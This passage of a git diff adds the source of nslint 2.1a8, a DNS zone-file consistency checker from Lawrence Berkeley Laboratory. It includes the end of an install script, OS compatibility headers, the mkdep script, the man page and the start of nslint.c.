proper directory. + dsttmp=$dstdir/_inst.$$_ + rmtmp=$dstdir/_rm.$$_ + + # Trap to clean up those temp files at exit. + trap 'ret=$?; rm -f "$dsttmp" "$rmtmp" && exit $ret' 0 + + # Copy the file name to the temp name. + (umask $cp_umask && $doit_exec $cpprog "$src" "$dsttmp") && + + # and set any options; do chmod last to preserve setuid bits. + # + # If any of these fail, we abort the whole thing. If we want to + # ignore errors from any of these, just make sure not to ignore + # errors from the above "$doit $cpprog $src $dsttmp" command. + # + { test -z "$chowncmd" || $doit $chowncmd "$dsttmp"; } \ + && { test -z "$chgrpcmd" || $doit $chgrpcmd "$dsttmp"; } \ + && { test -z "$stripcmd" || $doit $stripcmd "$dsttmp"; } \ + && { test -z "$chmodcmd" || $doit $chmodcmd $mode "$dsttmp"; } && + + # Now rename the file to the real destination. + { $doit $mvcmd -f "$dsttmp" "$dst" 2>/dev/null \ + || { + # The rename failed, perhaps because mv can't rename something else + # to itself, or perhaps because mv is so ancient that it does not + # support -f. + + # Now remove or move aside any old file at destination location. + # We try this two ways since rm can't unlink itself on some + # systems and the destination file might be busy for other + # reasons. In this case, the final cleanup might fail but the new + # file should still install successfully. + { + if test -f "$dst"; then + $doit $rmcmd -f "$dst" 2>/dev/null \ + || { $doit $mvcmd -f "$dst" "$rmtmp" 2>/dev/null \ + && { $doit $rmcmd -f "$rmtmp" 2>/dev/null; :; }; }\ + || { + echo "$0: cannot unlink or rename $dst" >&2 + (exit 1); exit 1 + } + else + : + fi + } && + + # Now rename the file to the real destination. + $doit $mvcmd "$dsttmp" "$dst" + } + } || exit 1 + + trap '' 0 + fi +done + +# Local variables: +# eval: (add-hook 'write-file-hooks 'time-stamp) +# time-stamp-start: "scriptversion=" +# time-stamp-format: "%:y-%02m-%02d.%02H" +# time-stamp-end: "$" +# End: diff --git a/dns-projects/nslint-2.1a8/lbl/gnuc.h b/dns-projects/nslint-2.1a8/lbl/gnuc.h new file mode 100644 index 0000000..3c6b8f8 --- /dev/null +++ b/dns-projects/nslint-2.1a8/lbl/gnuc.h @@ -0,0 +1,49 @@ +/* @(#) $Id: gnuc.h,v 1.4 2006/04/30 03:58:45 leres Exp $ (LBL) */ + +/* Define __P() macro, if necessary */ +#ifndef __P +#if __STDC__ +#define __P(protos) protos +#else +#define __P(protos) () +#endif +#endif + +/* inline foo */ +#ifdef __GNUC__ +#define inline __inline +#else +#define inline +#endif + +/* + * Handle new and old "dead" routine prototypes + * + * For example: + * + * __dead void foo(void) __attribute__((noreturn)); + * + */ +#ifdef __GNUC__ +#ifndef __dead +#if __GNUC__ >= 4 +#define __dead +#define noreturn __noreturn__ +#else +#define __dead volatile +#define noreturn volatile +#endif +#endif +#if __GNUC__ < 2 || (__GNUC__ == 2 && __GNUC_MINOR__ < 5) +#ifndef __attribute__ +#define __attribute__(args) +#endif +#endif +#else +#ifndef __dead +#define __dead +#endif +#ifndef __attribute__ +#define __attribute__(args) +#endif +#endif diff --git a/dns-projects/nslint-2.1a8/lbl/os-irix5.h b/dns-projects/nslint-2.1a8/lbl/os-irix5.h new file mode 100644 index 0000000..e77b66e --- /dev/null +++ b/dns-projects/nslint-2.1a8/lbl/os-irix5.h @@ -0,0 +1,38 @@ +/* + * Copyright (c) 1994, 1995, 1996 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that: (1) source code distributions + * retain the above copyright notice and this paragraph in its entirety, (2) + * distributions including binary code include the above copyright notice and + * this paragraph in its entirety in the documentation or other materials + * provided with the distribution, and (3) all advertising materials mentioning + * features or use of this software display the following acknowledgement: + * ``This product includes software developed by the University of California, + * Lawrence Berkeley Laboratory and its contributors.'' Neither the name of + * the University nor the names of its contributors may be used to endorse + * or promote products derived from this software without specific prior + * written permission. + * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + * + * @(#) $Header: os-irix5.h,v 1.7 96/11/29 15:17:43 leres Exp $ (LBL) + */ + +/* Prototypes missing in IRIX 5 */ +#ifdef __STDC__ +struct ether_addr; +#endif +int ether_hostton(char *, struct ether_addr *); +char *ether_ntoa(struct ether_addr *); +#ifdef __STDC__ +struct utmp; +#endif +void login(struct utmp *); +int setenv(const char *, const char *, int); +int sigblock(int); +int sigsetmask(int); +int snprintf(char *, size_t, const char *, ...); +time_t time(time_t *); diff --git a/dns-projects/nslint-2.1a8/lbl/os-osf3.h b/dns-projects/nslint-2.1a8/lbl/os-osf3.h new file mode 100644 index 0000000..03629ea --- /dev/null +++ b/dns-projects/nslint-2.1a8/lbl/os-osf3.h @@ -0,0 +1,32 @@ +/* + * Copyright (c) 1995, 1996 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that: (1) source code distributions + * retain the above copyright notice and this paragraph in its entirety, (2) + * distributions including binary code include the above copyright notice and + * this paragraph in its entirety in the documentation or other materials + * provided with the distribution, and (3) all advertising materials mentioning + * features or use of this software display the following acknowledgement: + * ``This product includes software developed by the University of California, + * Lawrence Berkeley Laboratory and its contributors.'' Neither the name of + * the University nor the names of its contributors may be used to endorse + * or promote products derived from this software without specific prior + * written permission. + * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + * + * @(#) $Header: os-osf3.h,v 1.8 96/11/29 15:17:43 leres Exp $ (LBL) + */ + +/* Prototypes missing in osf3 */ +int flock(int, int); +int ioctl(int, int, caddr_t); +int iruserok(u_int, int, char *, char *); +int pfopen(char *, int); +int rcmd(char **, u_short, const char *, const char *, const char *, int *); +int rresvport(int *); +int snprintf(char *, size_t, const char *, ...); +void sync(void); diff --git a/dns-projects/nslint-2.1a8/lbl/os-solaris2.h b/dns-projects/nslint-2.1a8/lbl/os-solaris2.h new file mode 100644 index 0000000..2b35594 --- /dev/null +++ b/dns-projects/nslint-2.1a8/lbl/os-solaris2.h @@ -0,0 +1,50 @@ +/* + * Copyright (c) 1993, 1994, 1995, 1996, 1997, 2000 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that: (1) source code distributions + * retain the above copyright notice and this paragraph in its entirety, (2) + * distributions including binary code include the above copyright notice and + * this paragraph in its entirety in the documentation or other materials + * provided with the distribution, and (3) all advertising materials mentioning + * features or use of this software display the following acknowledgement: + * ``This product includes software developed by the University of California, + * Lawrence Berkeley Laboratory and its contributors.'' Neither the name of + * the University nor the names of its contributors may be used to endorse + * or promote products derived from this software without specific prior + * written permission. + * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + * + * @(#) $Id: os-solaris2.h,v 1.18 1997/10/01 01:10:22 leres Exp leres $ (LBL) + */ + +/* Prototypes missing in SunOS 5 */ +int daemon(int, int); +int dn_expand(const u_char *, const u_char *, const u_char *, char *, int); +int dn_skipname(const u_char *, const u_char *); +int flock(int, int); +int getdtablesize(void); +int gethostname(char *, int); +int getpagesize(void); +char *getusershell(void); +char *getwd(char *); +int iruserok(u_int, int, char *, char *); +#ifdef __STDC__ +struct utmp; +void login(struct utmp *); +#endif +int logout(const char *); +int res_query(const char *, int, int, u_char *, int); +int setenv(const char *, const char *, int); +#if defined(_STDIO_H) && defined(HAVE_SETLINEBUF) +int setlinebuf(FILE *); +#endif +int sigblock(int); +int sigsetmask(int); +char *strerror(int); +int snprintf(char *, size_t, const char *, ...); +int strcasecmp(const char *, const char *); +void unsetenv(const char *); diff --git a/dns-projects/nslint-2.1a8/lbl/os-sunos4.h b/dns-projects/nslint-2.1a8/lbl/os-sunos4.h new file mode 100644 index 0000000..667fdb8 --- /dev/null +++ b/dns-projects/nslint-2.1a8/lbl/os-sunos4.h @@ -0,0 +1,215 @@ +/* + * Copyright (c) 1989, 1990, 1993, 1994, 1995, 1996 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that: (1) source code distributions + * retain the above copyright notice and this paragraph in its entirety, (2) + * distributions including binary code include the above copyright notice and + * this paragraph in its entirety in the documentation or other materials + * provided with the distribution, and (3) all advertising materials mentioning + * features or use of this software display the following acknowledgement: + * ``This product includes software developed by the University of California, + * Lawrence Berkeley Laboratory and its contributors.'' Neither the name of + * the University nor the names of its contributors may be used to endorse + * or promote products derived from this software without specific prior + * written permission. + * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + * + * @(#) $Header: os-sunos4.h,v 1.32 96/11/29 15:18:18 leres Exp $ (LBL) + */ + +/* Prototypes missing in SunOS 4 */ +#ifdef FILE +int _filbuf(FILE *); +int _flsbuf(u_char, FILE *); +int fclose(FILE *); +int fflush(FILE *); +int fgetc(FILE *); +int fprintf(FILE *, const char *, ...); +int fputc(int, FILE *); +int fputs(const char *, FILE *); +u_int fread(void *, u_int, u_int, FILE *); +int fseek(FILE *, long, int); +u_int fwrite(const void *, u_int, u_int, FILE *); +int pclose(FILE *); +void rewind(FILE *); +void setbuf(FILE *, char *); +int setlinebuf(FILE *); +int ungetc(int, FILE *); +int vfprintf(FILE *, const char *, ...); +int vprintf(const char *, ...); +#endif + +#if __GNUC__ <= 1 +int read(int, char *, u_int); +int write(int, char *, u_int); +#endif + +long a64l(const char *); +#ifdef __STDC__ +struct sockaddr; +#endif +int accept(int, struct sockaddr *, int *); +int bind(int, struct sockaddr *, int); +int bcmp(const void *, const void *, u_int); +void bcopy(const void *, void *, u_int); +void bzero(void *, int); +int chroot(const char *); +int close(int); +void closelog(void); +int connect(int, struct sockaddr *, int); +char *crypt(const char *, const char *); +int daemon(int, int); +int fchmod(int, int); +int fchown(int, int, int); +void endgrent(void); +void endpwent(void); +void endservent(void); +#ifdef __STDC__ +struct ether_addr; +#endif +struct ether_addr *ether_aton(const char *); +int flock(int, int); +#ifdef __STDC__ +struct stat; +#endif +int fstat(int, struct stat *); +#ifdef __STDC__ +struct statfs; +#endif +int fstatfs(int, struct statfs *); +int fsync(int); +#ifdef __STDC__ +struct timeb; +#endif +int ftime(struct timeb *); +int ftruncate(int, off_t); +int getdtablesize(void); +long gethostid(void); +int gethostname(char *, int); +int getopt(int, char * const *, const char *); +int getpagesize(void); +char *getpass(char *); +int getpeername(int, struct sockaddr *, int *); +int getpriority(int, int); +#ifdef __STDC__ +struct rlimit; +#endif +int getrlimit(int, struct rlimit *); +int getsockname(int, struct sockaddr *, int *); +int getsockopt(int, int, int, char *, int *); +#ifdef __STDC__ +struct timeval; +struct timezone; +#endif +int gettimeofday(struct timeval *, struct timezone *); +char *getusershell(void); +char *getwd(char *); +int initgroups(const char *, int); +int ioctl(int, int, caddr_t); +int iruserok(u_long, int, char *, char *); +int isatty(int); +int killpg(int, int); +int listen(int, int); +#ifdef __STDC__ +struct utmp; +#endif +void login(struct utmp *); +int logout(const char *); +off_t lseek(int, off_t, int); +int lstat(const char *, struct stat *); +int mkstemp(char *); +char *mktemp(char *); +int munmap(caddr_t, int); +void openlog(const char *, int, int); +void perror(const char *); +int printf(const char *, ...); +int puts(const char *); +long random(void); +int readlink(const char *, char *, int); +#ifdef __STDC__ +struct iovec; +#endif +int readv(int, struct iovec *, int); +int recv(int, char *, u_int, int); +int recvfrom(int, char *, u_int, int, struct sockaddr *, int *); +int rename(const char *, const char *); +int rcmd(char **, u_short, char *, char *, char *, int *); +int rresvport(int *); +int send(int, char *, u_int, int); +int sendto(int, char *, u_int, int, struct sockaddr *, int); +int setenv(const char *, const char *, int); +int seteuid(int); +int setpriority(int, int, int); +int select(int, fd_set *, fd_set *, fd_set *, struct timeval *); +int setpgrp(int, int); +void setpwent(void); +int setrlimit(int, struct rlimit *); +void setservent(int); +int setsockopt(int, int, int, char *, int); +int shutdown(int, int); +int sigblock(int); +void (*signal (int, void (*) (int))) (int); +int sigpause(int); +int sigsetmask(int); +#ifdef __STDC__ +struct sigvec; +#endif +int sigvec(int, struct sigvec *, struct sigvec*); +int snprintf(char *, size_t, const char *, ...); +int socket(int, int, int); +int socketpair(int, int, int, int *); +int symlink(const char *, const char *); +void srandom(int); +int sscanf(char *, const char *, ...); +int stat(const char *, struct stat *); +int statfs(char *, struct statfs *); +char *strerror(int); +int strcasecmp(const char *, const char *); +#ifdef __STDC__ +struct tm; +#endif +int strftime(char *, int, char *, struct tm *); +int strncasecmp(const char *, const char *, int); +long strtol(const char *, char **, int); +void sync(void); +void syslog(int, const char *, ...); +int system(const char *); +long tell(int); +time_t time(time_t *); +char *timezone(int, int); +int tolower(int); +int toupper(int); +int truncate(char *, off_t); +void unsetenv(const char *); +int vfork(void); +int vsprintf(char *, const char *, ...); +int writev(int, struct iovec *, int); +#ifdef __STDC__ +struct rusage; +#endif +int utimes(const char *, struct timeval *); +#if __GNUC__ <= 1 +int wait(int *); +pid_t wait3(int *, int, struct rusage *); +#endif + +/* Ugly signal hacking */ +#ifdef SIG_ERR +#undef SIG_ERR +#define SIG_ERR (void (*)(int))-1 +#undef SIG_DFL +#define SIG_DFL (void (*)(int))0 +#undef SIG_IGN +#define SIG_IGN (void (*)(int))1 + +#ifdef KERNEL +#undef SIG_CATCH +#define SIG_CATCH (void (*)(int))2 +#endif +#undef SIG_HOLD +#define SIG_HOLD (void (*)(int))3 +#endif diff --git a/dns-projects/nslint-2.1a8/lbl/os-ultrix4.h b/dns-projects/nslint-2.1a8/lbl/os-ultrix4.h new file mode 100644 index 0000000..1949fa4 --- /dev/null +++ b/dns-projects/nslint-2.1a8/lbl/os-ultrix4.h @@ -0,0 +1,39 @@ +/* + * Copyright (c) 1990, 1993, 1994, 1995, 1996 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that: (1) source code distributions + * retain the above copyright notice and this paragraph in its entirety, (2) + * distributions including binary code include the above copyright notice and + * this paragraph in its entirety in the documentation or other materials + * provided with the distribution, and (3) all advertising materials mentioning + * features or use of this software display the following acknowledgement: + * ``This product includes software developed by the University of California, + * Lawrence Berkeley Laboratory and its contributors.'' Neither the name of + * the University nor the names of its contributors may be used to endorse + * or promote products derived from this software without specific prior + * written permission. + * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + * + * @(#) $Header: os-ultrix4.h,v 1.19 96/11/29 15:33:19 leres Exp $ (LBL) + */ + +/* Prototypes missing in Ultrix 4 */ +int bcmp(const char *, const char *, u_int); +void bcopy(const void *, void *, u_int); +void bzero(void *, u_int); +void endservent(void); +int getopt(int, char * const *, const char *); +#ifdef __STDC__ +struct timeval; +struct timezone; +#endif +int gettimeofday(struct timeval *, struct timezone *); +int ioctl(int, int, caddr_t); +int pfopen(char *, int); +int setlinebuf(FILE *); +int socket(int, int, int); +int strcasecmp(const char *, const char *); diff --git a/dns-projects/nslint-2.1a8/mkdep b/dns-projects/nslint-2.1a8/mkdep new file mode 100755 index 0000000..2a9c221 --- /dev/null +++ b/dns-projects/nslint-2.1a8/mkdep @@ -0,0 +1,109 @@ +#!/bin/sh - +# +# Copyright (c) 1994, 1996 +# The Regents of the University of California. All rights reserved. +# +# Redistribution and use in source and binary forms are permitted +# provided that this notice is preserved and that due credit is given +# to the University of California at Berkeley. The name of the University +# may not be used to endorse or promote products derived from this +# software without specific prior written permission. This software +# is provided ``as is'' without express or implied warranty. +# +# @(#)mkdep.sh 5.11 (Berkeley) 5/5/88 +# + +PATH=/bin:/usr/bin:/usr/ucb:/usr/local:/usr/local/bin +export PATH + +MAKE=Makefile # default makefile name is "Makefile" +CC=cc # default C compiler is "cc" + +while : + do case "$1" in + # -c allows you to specify the C compiler + -c) + CC=$2 + shift; shift ;; + + # -f allows you to select a makefile name + -f) + MAKE=$2 + shift; shift ;; + + # the -p flag produces "program: program.c" style dependencies + # so .o's don't get produced + -p) + SED='s;\.o;;' + shift ;; + *) + break ;; + esac +done + +if [ $# = 0 ] ; then + echo 'usage: mkdep [-p] [-c cc] [-f makefile] [flags] file ...' + exit 1 +fi + +if [ ! -w $MAKE ]; then + echo "mkdep: no writeable file \"$MAKE\"" + exit 1 +fi + +TMP=/tmp/mkdep$$ + +trap 'rm -f $TMP ; exit 1' 1 2 3 13 15 + +cp $MAKE ${MAKE}.bak + +sed -e '/DO NOT DELETE THIS LINE/,$d' < $MAKE > $TMP + +cat << _EOF_ >> $TMP +# DO NOT DELETE THIS LINE -- mkdep uses it. +# DO NOT PUT ANYTHING AFTER THIS LINE, IT WILL GO AWAY. + +_EOF_ + +# If your compiler doesn't have -M, add it. If you can't, the next two +# lines will try and replace the "cc -M". The real problem is that this +# hack can't deal with anything that requires a search path, and doesn't +# even try for anything using bracket (<>) syntax. +# +# egrep '^#include[ ]*".*"' /dev/null $* | +# sed -e 's/:[^"]*"\([^"]*\)".*/: \1/' -e 's/\.c/.o/' | + +# XXX this doesn't work with things like "-DDECLWAITSTATUS=union\ wait" +$CC -M $* | +sed " + s; \./; ;g + $SED" | +awk '{ + if ($1 != prev) { + if (rec != "") + print rec; + rec = $0; + prev = $1; + } + else { + if (length(rec $2) > 78) { + print rec; + rec = $0; + } + else + rec = rec " " $2 + } +} +END { + print rec +}' >> $TMP + +cat << _EOF_ >> $TMP + +# IF YOU PUT ANYTHING HERE IT WILL GO AWAY +_EOF_ + +# copy to preserve permissions +cp $TMP $MAKE +rm -f ${MAKE}.bak $TMP +exit 0 diff --git a/dns-projects/nslint-2.1a8/nslint.8 b/dns-projects/nslint-2.1a8/nslint.8 new file mode 100644 index 0000000..04753c4 --- /dev/null +++ b/dns-projects/nslint-2.1a8/nslint.8 @@ -0,0 +1,497 @@ +.\" @(#) $Id: nslint.8,v 1.14 2002/05/03 04:10:52 leres Exp $ (LBL) +.\" +.\" Copyright (c) 1994, 1996, 1997, 1999, 2001, 2002 +.\" The Regents of the University of California. All rights reserved. +.\" All rights reserved. +.\" +.\" Redistribution and use in source and binary forms, with or without +.\" modification, are permitted provided that: (1) source code distributions +.\" retain the above copyright notice and this paragraph in its entirety, (2) +.\" distributions including binary code include the above copyright notice and +.\" this paragraph in its entirety in the documentation or other materials +.\" provided with the distribution, and (3) all advertising materials mentioning +.\" features or use of this software display the following acknowledgement: +.\" ``This product includes software developed by the University of California, +.\" Lawrence Berkeley Laboratory and its contributors.'' Neither the name of +.\" the University nor the names of its contributors may be used to endorse +.\" or promote products derived from this software without specific prior +.\" written permission. +.\" THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED +.\" WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF +.\" MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. +.\" +.TH nslint 8 "2 May 2002" +.UC 4 +.SH NAME +nslint - perform consistency checks on dns files +.SH SYNOPSIS +.B nslint +[ +.B -d +] [ +.B -c +.I named.conf +] [ +.B -C +.I nslint.conf +] +.br +.B nslint +[ +.B -d +] [ +.B -b +.I named.boot +] [ +.B -B +.I nslint.boot +] +.SH DESCRIPTION +.B Nslint +reads the nameserver configuration files and performs a number of +consistency checks on the dns records. If any problems are discovered, +error messages are displayed on +.I stderr +and +.B nslint +exits with a non-zero status. +.LP +Here is a partial list of errors +.B nslint +detects: +.IP +Records that are malformed. +.IP +Names that contain dots but are missing a trailing dot. +.IP +.B PTR +records with names that are missing a trailing dot. +.IP +Names that contain illegal characters (rfc1034). +.IP +.B A +records +without matching +.B PTR +records +.IP +.B PTR +records +without matching +.B A +records +.IP +Names with more than one address on the same subnet. +.IP +Addresses in use by more than one name. +.IP +Names with +.B CNAME +and other records (rfc1033). +.IP +Unknown service and/or protocol keywords in +.B WKS +records. +.IP +Missing semicolons and quotes. +.LP +.SH OPTIONS +.TP +.B -b +Specify an alternate +.I named.boot +file. The default is +.IR /etc/named.boot . +.TP +.TP +.B -c +Specify an alternate +.I named.conf +file. The default is +.IR /etc/named.conf . +.TP +.B -B +Specify an alternate +.I nslint.boot +file. The default is +.I nslint.boot +in the last +.B directory +line processed in +.I named.boot +(or the current working directory). +This file is processed like a second +.IR named.boot . +The most common use is to tell +.B nslint +about +.B A +records that match +.B PTR +records that point outside the domains listed in +.IR named.boot . +.TP +.B -C +Specify an alternate +.I nslint.conf +file. The default is +.I nslint.conf +in the last +.B directory +line processed in +.I named.conf +(or the current working directory). +This file is processed like a second +.IR named.conf . +.TP +.B -d +Raise the debugging level. Debugging information is +displayed on +.IR stdout . +.LP +.B Nslint +knows how to read +BIND 8 and 9's +.I named.conf +configuration file and also +older BIND's +.I named.boot +file. If both files exist, +.B nslint +will prefer +.I named.conf +(on the theory that you forgot to delete +.I named.boot +when you upgraded BIND). +.LP +.SH "ADVANCED CONFIGURATION" +There are some cases where it is necessary to use the +advanced configuration features of +.BR nslint . +Advanced configuration is done with the +.I nslint.conf +file. (You can also use +.I nslint.boot +which has a syntax similar to +.I named.boot +but is not described here.) +.LP +The most common is when a site has a demilitarized zone (DMZ). +The problem here is that the DMZ network will have +.B PTR +records for hosts outside its domain. For example lets say +we have +.I 128.0.rev +with: +.LP +.RS +.nf +.sp .5 +1.1 604800 in ptr gateway.lbl.gov. +2.1 604800 in ptr gateway.es.net. +.sp .5 +.fi +.RE +.LP +Obviously we will define an +.B A +record for +.I gateway.lbl.gov +pointing to +.I 128.0.1.1 +but we will get errors because there is no +.B A +record defined for +.IR gateway.es.net . +The solution is to create a +.I nslint.conf +file (in the same directory as the other dns files) +with: +.LP +.RS +.nf +.sp .5 +zone "es.net" { +.RS +type master; +file "nslint.es.net"; +.RE +}; +.sp .5 +.fi +.RE +.LP +And then create the file +.I nslint.es.net +with: +.LP +.RS +.nf +.sp .5 +gateway 1 in a 128.0.1.2 +.sp .5 +.fi +.RE +.LP +Another problem occurs when there is a +.B CNAME +that points to a host outside the local domains. Let's say we have +.I info.lbl.gov +pointing to +.IR larry.es.net : +.LP +.RS +.nf +.sp .5 +info 604800 in cname larry.es.net. +.sp .5 +.fi +.RE +.LP +In this case we would need: +.LP +.RS +.nf +.sp .5 +zone "es.net" { +.RS +type master; +file "nslint.es.net"; +.RE +}; +.sp .5 +.fi +.RE +.LP +in +.I nslint.boot +and: +.LP +.RS +.nf +.sp .5 +larry 1 in txt "place holder" +.sp .5 +.fi +.RE +.LP +.IR nslint.es.net . +.LP +One last problem +when a pseudo host is setup to allow two more +more actual hosts provide a service. For, let's say that +.I lbl.gov +contains: +.LP +.RS +.nf +.sp .5 +server 604800 in a 128.0.6.6 +server 604800 in a 128.0.6.94 +; +tom 604800 in a 128.0.6.6 +tom 604800 in mx 0 lbl.gov. +; +jerry 604800 in a 128.0.6.94 +jerry 604800 in mx 0 lbl.gov. +.sp .5 +.fi +.RE +.LP +In this case +.B nslint +would complain about missing +.B PTR +records and ip addresses in use by more than one host. +To suppress these warnings, add you would the lines: +.LP +.RS +.nf +.sp .5 +zone "lbl.gov" { +.RS +type master; +file "nslint.lbl.gov"; +.RE +}; +.LP +zone "0.128.in-addr.arpa" { +.RS +type master; +file "nslint.128.0.rev"; +.RE +}; +.sp .5 +.fi +.RE +.LP +to +.I nslint.conf +and create +.I nslint.lbl.gov +with: +.LP +.RS +.nf +.sp .5 +server 1 in allowdupa 128.0.6.6 +server 1 in allowdupa 128.0.6.94 +.sp .5 +.fi +.RE +.LP +and create +.I nslint.128.0.rev +with: +.LP +.RS +.nf +.sp .5 +6.6 604800 in ptr server.lbl.gov. +94.6 604800 in ptr server.lbl.gov. +.sp .5 +.fi +.RE +.LP +In this example, the +.B allowdupa +keyword tells +.B nslint +that it's ok for +.I 128.0.6.6 +and +.I 128.0.6.94 +to be shared by +.IR server.lbl.gov , +.IR tom.lbl.gov , +and +.IR jerry.lbl.gov . +.LP +Another +.B nslint +feature helps detect hosts that have mistakenly had two ip addresses +assigned on the same subnet. This can happen when two different +people request an ip address for the same hostname or when someone +forgets an address has been assigned and requests a new number. +.LP +To detect such +.B A +records, add a +.B nslint +section to your +.I nslint.conf +containing something similar to: +.LP +.RS +.nf +.sp .5 +nslint { +.RS +network "128.0.6/22"; +.RE +}; +.sp .5 +.fi +.RE +.LP +or: +.LP +.RS +.nf +.sp .5 +nslint { +.RS +network "128.0.6 255.255.252.0"; +.RE +}; +.sp .5 +.fi +.RE +.LP +These two examples are are equivalent ways of saying the same thing; +that subnet +.I 128.0.6 +has a 22 bit wide subnet mask. +.LP +Using information from the above +.B network +statement, +.B nslint +would would flag the following +.B A +records as being in error: +.LP +.RS +.nf +.sp .5 +server 1 in a 128.0.6.48 +server 1 in a 128.0.7.16 +.sp .5 +.fi +.RE +.LP +Note that if you specify any +.B network +lines in your +.I nslint.conf +file, +.B nslint +requires you to include lines for all networks; +otherwise you might forget to add +.B network +lines for new networks. +.LP +Sometimes you have a zone that +.B nslint +just can't deal with. A good example is +a dynamic dns zone. To handle this, you can +add the following to +.IB nslint.com : +.LP +.RS +.nf +.sp .5 +nslint { +.RS +ignorezone "dhcp.lbl.gov"; +.RE +}; +.sp .5 +.fi +.RE +.LP +This will suppress "name referenced without other records" warnings. +.LP +.SH FILES +.na +.nh +.nf +/etc/named.conf - default named configuration file +/etc/named.boot - old style named configuration file +nslint.conf - default nslint configuration file +nslint.boot - old style nslint configuration file +.ad +.hy +.fi +.LP +.SH "SEE ALSO" +.na +.nh +.IR named (8), +rfc1033, +rfc1034 +.ad +.hy +.SH AUTHOR +Craig Leres of the +Lawrence Berkeley National Laboratory, University of California, Berkeley, CA. +.LP +The current version is available via anonymous ftp: +.LP +.RS +.I ftp://ftp.ee.lbl.gov/nslint.tar.gz +.RE +.SH BUGS +Please send bug reports to nslint@ee.lbl.gov. +.LP +Not everyone is guaranteed to agree with all the checks done. diff --git a/dns-projects/nslint-2.1a8/nslint.c b/dns-projects/nslint-2.1a8/nslint.c new file mode 100644 index 0000000..e154a27 --- /dev/null +++ b/dns-projects/nslint-2.1a8/nslint.c @@ -0,0 +1,2494 @@ +/* + * Copyright (c) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2005, 2006, 2007 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that: (1) source code distributions + * retain the above copyright notice and this paragraph in its entirety, (2) + * distributions including binary code include the above copyright notice and + * this paragraph in its entirety in the documentation or other materials + * provided with the distribution, and (3) all advertising materials mentioning + * features or use of this software display the following acknowledgement: + * ``This product includes software developed by the University of California, + * Lawrence Berkeley Laboratory and its contributors.'' Neither the name of + * the University nor the names of its contributors may be used to endorse + * or promote products derived from this software without specific prior + * written permission. + * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + */ +#ifndef lint +static const char copyright[] = + "@(#) Copyright (c) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2005, 2006, 2007\n\ +The Regents of the University of California. All rights reserved.\n"; +static const char rcsid[] = + "@(#) $Id: nslint.c,v 1.111 2007/10/17 21:17:28 leres Exp $ (LBL)"; +#endif +/* + * nslint - perform consistency checks on dns files + */ + +#include +#include +#include + +#include + +#include + +#include +#include +#ifdef HAVE_FCNTL_H +#include +#endif +#ifdef HAVE_MEMORY_H +#include +#endif +#include +#include +#include +#include +#include +#include + +#include "savestr.h" + +#include "gnuc.h" +#ifdef HAVE_OS_PROTO_H +#include "os-proto.h" +#endif + +#define NSLINTBOOT "nslint.boot" /* default nslint.boot file */ +#define NSLINTCONF "nslint.conf" /* default nslint.conf file */ + +/* item struct */ +struct item { + char *host; /* pointer to hostname */ + u_int32_t addr; /* ip address */ + u_int ttl; /* ttl of A records */ + int records; /* resource records seen */ + int flags; /* flags word */ +}; + +/* ignored zone struct */ +struct ignoredzone { + char *zone; /* zone name */ + int len; /* length of zone */ +}; + +/* Resource records seen */ +#define REC_A 0x0001 +#define REC_PTR 0x0002 +#define REC_WKS 0x0004 +#define REC_HINFO 0x0008 +#define REC_MX 0x0010 +#define REC_CNAME 0x0020 +#define REC_NS 0x0040 +#define REC_SOA 0x0080 +#define REC_RP 0x0100 +#define REC_TXT 0x0200 +#define REC_SRV 0x0400 + +/* These aren't real records */ +#define REC_OTHER 0x0800 +#define REC_REF 0x1000 +#define REC_UNKNOWN 0x2000 + +/* Test for records we want to map to REC_OTHER */ +#define MASK_TEST_REC (REC_WKS | REC_HINFO | \ + REC_MX | REC_SOA | REC_RP | REC_TXT | REC_SRV | REC_UNKNOWN) + +/* Mask away records we don't care about in the final processing to REC_OTHER */ +#define MASK_CHECK_REC \ + (REC_A | REC_PTR | REC_CNAME | REC_REF | REC_OTHER) + +/* Test for records we want to check for duplicate name detection */ +#define MASK_TEST_DUP \ + (REC_A | REC_HINFO | REC_CNAME) + 